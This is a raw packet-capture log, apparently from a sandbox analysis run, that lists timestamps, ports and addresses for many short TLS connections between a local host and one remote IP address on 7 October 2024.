Oct 7, 2024 18:44:22.017761946 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.018028021 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.018066883 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.018086910 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.018106937 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.018114090 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.021218061 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.021297932 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.021420956 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.021572113 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.021591902 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.089404106 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.090060949 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.090090990 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.090640068 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.090646982 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.127787113 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.129935980 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.129965067 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.130414009 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.130418062 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.192106962 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.192178011 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.192241907 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.192620993 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.192620993 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.192641973 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.192651033 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.196342945 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.196389914 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.196579933 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.196778059 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.196794987 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.220585108 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.221230030 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.221251011 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.221752882 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.221764088 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.224092007 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.224329948 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.224379063 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.224637985 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.225198984 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.225219011 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.225230932 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.225236893 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.228951931 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.228998899 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.229103088 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.229248047 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.229262114 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.232450962 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.232899904 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.232937098 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.233350992 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.233357906 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.319905043 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.320193052 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.320240021 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.320354939 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.320374012 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.320395947 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.320401907 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.323301077 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.323347092 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.323443890 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.323609114 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.323617935 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.358864069 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.358900070 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.358942032 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.358953953 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.358994007 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.359179020 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.359206915 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.359220982 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.359227896 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.362274885 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.362312078 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.362376928 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.362534046 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.362541914 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.654733896 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.655332088 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.655391932 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.655894995 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.655903101 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.776146889 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.776220083 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.776324987 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.776619911 CEST	53786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.776650906 CEST	443	53786	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.782475948 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.782522917 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.782599926 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.782902956 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.782917976 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.871860981 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.872657061 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.872689962 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.873169899 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.873176098 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.922352076 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.923016071 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.923048019 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.923638105 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.923649073 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.973092079 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.973445892 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.973512888 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.973890066 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.973910093 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.973926067 CEST	53787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.973931074 CEST	443	53787	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.978425980 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.978478909 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.978543043 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.978749037 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:22.978761911 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.010061979 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.010648012 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.010664940 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.011316061 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.011321068 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.014282942 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.014702082 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.014717102 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.015146017 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.015150070 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.025650024 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.028774977 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.028888941 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.028965950 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.028984070 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.028997898 CEST	53788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.029002905 CEST	443	53788	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.032208920 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.032263041 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.032337904 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.032553911 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.032563925 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.111196041 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.111259937 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.111438990 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.111557961 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.111573935 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.111584902 CEST	53790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.111589909 CEST	443	53790	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.114269018 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.115226030 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.115257025 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.115505934 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.115719080 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.115725994 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.117291927 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.117343903 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.117403030 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.117412090 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.117449045 CEST	53789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.117453098 CEST	443	53789	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.120023966 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.120060921 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.120258093 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.120425940 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.120435953 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.401139975 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.401830912 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.401859999 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.402538061 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.402548075 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.497705936 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.498677015 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.498743057 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.498785973 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.498810053 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.498822927 CEST	53791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.498830080 CEST	443	53791	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.501811981 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.501849890 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.502528906 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.502693892 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.502708912 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.637550116 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.645057917 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.645081997 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.645528078 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.645533085 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.721755981 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.722455978 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.722496033 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.723048925 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.723054886 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.742013931 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.742496967 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.742549896 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.753741980 CEST	53792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.753762960 CEST	443	53792	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.755029917 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.757983923 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.758022070 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.758574963 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.758845091 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.758851051 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.759805918 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.759814978 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.760330915 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.760335922 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.762061119 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.762128115 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.762217045 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.762382030 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.762403965 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.828851938 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.829024076 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.829082012 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.829143047 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.829438925 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.829463005 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.829474926 CEST	53793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.829479933 CEST	443	53793	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.833121061 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.833192110 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.833441019 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.835414886 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.835436106 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.871905088 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.873471022 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.874191046 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.874248028 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.874322891 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.874335051 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.874346018 CEST	53794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.874350071 CEST	443	53794	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.875335932 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.875480890 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.875665903 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.875689030 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.875701904 CEST	53795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.875708103 CEST	443	53795	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.877875090 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.877918005 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.878020048 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.878058910 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.878065109 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.878215075 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.878242016 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.878254890 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:23.878362894 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:23.878371954 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.654968023 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.685522079 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.685554981 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.686233044 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.686253071 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.784286976 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.784363031 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.784502029 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.869458914 CEST	53796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.869493008 CEST	443	53796	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.874253035 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.874311924 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.874561071 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.878096104 CEST	53801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.878137112 CEST	443	53801	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.892510891 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.893038034 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.895728111 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.895749092 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.898967981 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.898982048 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.910136938 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.914581060 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.914649010 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.915528059 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.915544033 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.930144072 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.930179119 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.931060076 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.931076050 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.970717907 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.971395016 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.971430063 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.971982956 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.971999884 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.991101027 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.991134882 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.991184950 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.991189957 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.991255999 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.991540909 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.991559982 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.991573095 CEST	53799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.991578102 CEST	443	53799	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.995613098 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.995656967 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:24.995724916 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.995919943 CEST	53802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:24.995933056 CEST	443	53802	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.014060974 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.014090061 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.014137030 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.014148951 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.014183044 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.014488935 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.014518023 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.014533997 CEST	53798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.014542103 CEST	443	53798	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.025825977 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.025883913 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.026206017 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.026913881 CEST	53803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.026935101 CEST	443	53803	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.027664900 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.027693033 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.027750969 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.027751923 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.027807951 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.028563976 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.028604031 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.028633118 CEST	53797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.028646946 CEST	443	53797	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.037549019 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.037607908 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.037684917 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.037888050 CEST	53804	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.037899971 CEST	443	53804	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.068370104 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.068448067 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.068516016 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.068856001 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.068881035 CEST	443	53800	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:25.068896055 CEST	53800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:25.068901062 CEST	443	53800	13.107.246.45	192.168.2.4
